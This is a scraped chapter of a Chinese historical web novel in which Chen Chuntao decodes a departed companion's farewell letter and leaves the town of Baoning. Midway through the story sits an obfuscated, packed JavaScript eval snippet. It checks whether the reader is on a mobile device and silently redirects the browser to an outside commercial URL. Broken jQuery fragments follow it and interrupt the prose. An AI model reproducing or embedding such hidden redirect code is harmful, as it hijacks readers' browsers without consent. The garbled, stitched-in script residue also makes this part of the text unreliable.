默认冷灰
24号文字
方正启体

19. 第 19 章

作者:春喜月本书字数:K更新时间:
    “但真是怪了,你失踪了近一个月,小皇帝竟然没来找你,只说你是告病在家。”


    谢肇揶揄的看向李韫玉:“你这位学生,倒是有胆识的很。”


    “不过若我是小皇帝,也许我会沿路把你杀了,以绝后患。”


    “皇帝不敢。”


    李韫玉冷哼一声:“我若是死了,秦观澜会待他如傀儡,到时江山就要易主了。”


    “你的意思是,皇帝不寻你亦不杀你,是忌惮秦观澜?”


    “他需要一个棋子去制衡朝局局势,并且这个棋子还不能出面牵制他,如今的我不正合他意?”


    “明面上只要我不死,我就依旧是皇帝的老师,就会和皇帝站在一条线上,朝臣便不会轻视他,甚至会认为他的决定都是我一手在背后谋划,对皇帝而言,百利而无一害。”


    谢肇看着他并不悲伤的神情,扯了扯嘴角:“你好像还挺高兴?”


    “有吗?”


    李韫玉轻笑一声,没有答话。


    “但秦观澜要杀你,小皇帝也没出面制止,你就不怕小皇帝留个心眼,明面和秦观澜合作,背地里彻底将你的羽翼收为己有?”


    “若是皇帝能重振大昭……”


    “李怀瑾,你疯了!”


    谢肇原本嬉皮笑脸的模样瞬间严肃:“你再不能说这样的话!”


    “现在所有人都想将你杀之而后快,若你一旦被人抓住了尾巴,朝局上下弹劾你的奏折顷刻就会埋了你的身,皇帝保不住你,也不会保你。”


    李韫玉望着窗外的一角寒梅,半晌之后才缓缓开口:“启之,有些事情我想交给你去办。”


    陈春桃一觉睡到天亮,她从榻上坐起伸了个懒腰,脸上的疲惫一扫而空,少女清亮的眼神转了转,却未发现李韫玉的身影,正疑惑之际,便见陈春昭在门外喊道:“阿姊,下去吃饭。”


    陈春桃打开房门,陈春昭打了个哈欠看着自家阿姊怀里没人,怔愣说道:“李玉呢,他今日不吃了?”


    “他没在房内。”


    “不能吧,这么早能干什么去。”


    蒋升拿着热气腾腾的素包在楼下喊:“快下来吃包子,阿爷刚蒸出来的。”


    陈春桃撑着扶手在楼上问道:“升儿,李玉在下面吗?”


    蒋升挠了挠头,环顾四周发现轮椅不见了:“没在,这么早公子不在房内吗?”


    陈春桃和陈春昭对视一眼,心下不好。


    陈春桃回到房内,她看向铺在榻下的被褥,显然李玉昨日就没有躺下就被人带走的。


    “阿姊,桌上有信。”


    陈春昭将信拿起递给陈春桃,少女三下两下拆开展开宣纸,倏地想起自己会认的字不多,她暗骂一声,重新将信给了陈春昭示意他念。


    少年紧皱眉头:“阿姊你看,李玉的信好生奇怪,全是些一二三四。”


    陈春桃接过仔细瞧着信中的内容,李玉一改飘逸的字迹,方方正正的写下几行数字,陈春桃有些疑惑,倏地瞥到桌上的兵法,一记灵感从脑中闪现,


    她坐到矮凳上一边翻着书,一边拿起笔来在宣纸上写着东西。


    “阿姊,你看得懂?”


    “嘘,别说话。”


    陈春桃依照李韫玉提供的纸页找到对应的字,她将字誊写在纸上,但动作不熟练,写得有些歪歪扭扭的,陈春昭见着纸上的鬼画符,心想着李玉是怎么能教下去的。


    阿姊的这手字去画符绝对能卖个好价钱。


    陈春桃尽全力认真的将字抄写下来,待到抄到最后一个字,她停下笔示意陈春昭来看。


    这谁能看得懂?


    陈春昭面露难色,“阿姊,你念给我听吧。”


    陈春桃回想着李韫玉这几日教给她识字的关窍,一边用指头指着字一边念道:“余——随——知府离去,勿念,日后——习书——在——后,希——什么?”


    “春桃。”


    陈春昭指着那两个鬼画符:“这俩字是你的名字。”


    倒不是看懂了陈春桃的鬼画符,是看懂了李韫玉信中的那两个字,写得极好,笔锋走势豪迈却不放浪,笔锋转折间如行云流水,似清风入怀。


    陈春桃继续往下念:“希春桃日益什么力。”


    “勉力。”


    陈春昭头疼的看向陈春桃:“阿姊,你这几日都学了些什么?”


    陈春桃来不及教训他,眼睛盯着字继续辨认:“识——乾——坤之大,怜天下苍生。”


    “呦,你还认识乾坤?”


    “之前村东牛老头孩子招坏东西请了个道士,我当时看那黄符上写着,所以识得。”


    陈春桃有些无语,一时之间都想为李玉叫屈。


    “行了,也别担忧了,想来他身份特殊,知府暗中将人给接走了。陈春昭宽慰道。


    陈春桃看完信后将信封里的其他几张宣纸扯出,她将宣纸展开,全是一些兵法和习字的注意事项,并未有其它的内容。


    “还有我的呢。”


    陈春昭将少女手里其中一张宣纸抽走,里面竟是些陈春昭从未看过的论著,他凝眉思索,不禁感叹:“李玉可真是心细。”


    “这些书刚好能补我论点的不足。”


    他抬脚欲走,倏地听到陈春桃一个人似是自言自语:“怎得不亲自告别?”


    陈春昭停住脚步,拍了拍少女的肩膀。


    “就这样走了,我还都未准备,总想着要为他再打副拐杖这样在屋内也方便许多。”


    陈春桃茫然的坐在矮凳上:“我昨日怎能就睡得这样昏沉,竟连他走了都不知道。”


    “阿姊……”


    陈春昭看着陈春桃紧绷的小脸:“李玉本就与我们不同,他是陆家大公子,寻得助力回到他原本的位子上是早晚的事,故对过路之人不必如此伤心。”


    陈春桃心中其实是有点怨李玉的。


    她自知他是陆家大公子的身份,但却觉得这段时日朝夕相处下来也算半个朋友,况且这几日他还教自己练习读书,到最后却一声不响的离开。


    陈春桃叹了口气,“确实难过,但愿谢知府能庇护他,不要再经受那样的苦楚。”


    “知府的本事在你我之上,阿姊就不要再操心了。”


    陈春桃点头,将李玉的信收好,又将自己洗漱干净后,如往常般吃了饭赶往店内。


    许是昨夜又下了点雪,道上的积雪又覆上了一层细砂,但风却一改往日的冷峭,藏着三分温煦,倒整个身子都冒了点虚汗,但少女怀着心事,只觉路边的柳树婆娑,透着寂寥的意味。


    今日与昨日并无什么不同,锯木头,打凳子椅子,看着吴木匠打妆奁柜子,又帮他打下手打点榫卯,一天也就这样过去了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363529|199790||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一连过了三日,陈春桃依旧如平常般做着自己的分内事,这几日忙得她四处乱转,因明日就要离开保宁府,需要添置的东西还有很多,她没空去想太多事情,只是偶尔去采买时,经过衙门会在那等一会儿,她也不知道在等谁,只是想着朱门推开的一刹那,也许她会看到某双清隽却在她面前含笑的桃花眼。


    但陈春桃始终没有看到,她也并没有长久停留,又抬脚踏入了滚滚红尘之中。


    “吴大哥,吴大娘,春桃今日是来辞行的。”


    陈春桃笑着走进店内,她将自己采买的包袱卸下递给陈春昭,吴大娘盛饭的动作一顿,赶忙迎上前来:“这就走了?”


    “是,临走之前又去采买了点东西。”


    “也好,保宁府的东西便宜,到了后面你们去汉中,那可不比咱们这,用银子的地方多着呢。”


    “您说的是。”


    陈春桃抱着吴大娘粗壮的身子,带着哭腔道:“大娘,春桃走了。”


    “吴大哥若是跟你怄气了,便去找街头小柳,她最温柔体贴,不至于让你憋得难受。”


    “你吴大哥嘴那么笨,要怄气也是他怄,你可放心。”


    吴大娘憋着眼泪抚摸着陈春桃的额前的黑发:“此去路途遥远,你一个姑娘要好生小心。”


    “知道了,大娘。”


    “你为人热心,但姑娘出门在外不要那么热心肠,容易遇着不怀好心的人,若有生人搭话切勿与他生是非。”


    “大娘,你忘了我有点功夫的,会保护好自己。”


    “你呀……”


    “知道了,大娘。”


    陈春桃的眼眸中似有水珠闪动,吴大娘用指腹擦着她的泪水,缓缓说道:“春桃,我没有子女,亦与你投缘,你若是愿意,认我和你吴大哥干娘干爹,以后保宁府永远有你一个家。”


    陈春桃再也憋不住泪意,吴大娘从她的脸摸到她的肩膀。


    少女膝盖跪下,给面前两人磕了三个响头:“干爹,干娘,受女儿春桃一拜。”


    “好孩子,快起来。”


    两人忙将陈春桃扶起,吴峰从怀里掏出一个木制的桃人挂坠递给她:“拿着,干爹给你做的护身符,可保平安。”


    陈春桃接过放进怀里,弯腰作揖:“干爹,干娘,我们走了。”


    “路上一切顺利!”


    陈春昭赶着驴车,陈春桃忍泪跨上去任由春风擦尽她脸上的泪痕。


    经过来福客栈,蒋清明拄着拐杖站在门口望着他们,陈春昭和陈春桃对视一眼,下车在掌柜面前跪下。


    “去吧。”


    “春桃姐,祝你们一路顺风!”蒋升在蒋清明的后面挥舞着胳膊大喊。


    少女高亢的声音响彻街道:“来日再见!”


    春风拂过,家家户户又重新开了门摆摊,他们远远望着驴车在眼前变淡,又一如往常吆喝道:“包子,刚出炉的包子!”


    “姑娘,这菜你要几斤?”


    “公子,这发簪是京城时新的款式,在别处可买不到……”


    两人重新上车走出城口,陈春昭将路引拿出,官兵核对无误便放人同行,陈春桃最后转身看了眼保宁府,心中思绪万千。


    她收回眼神,只见一黑衣从树林缝隙闪过,陈春桃心下一动。


    “昭弟,李玉有危险。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)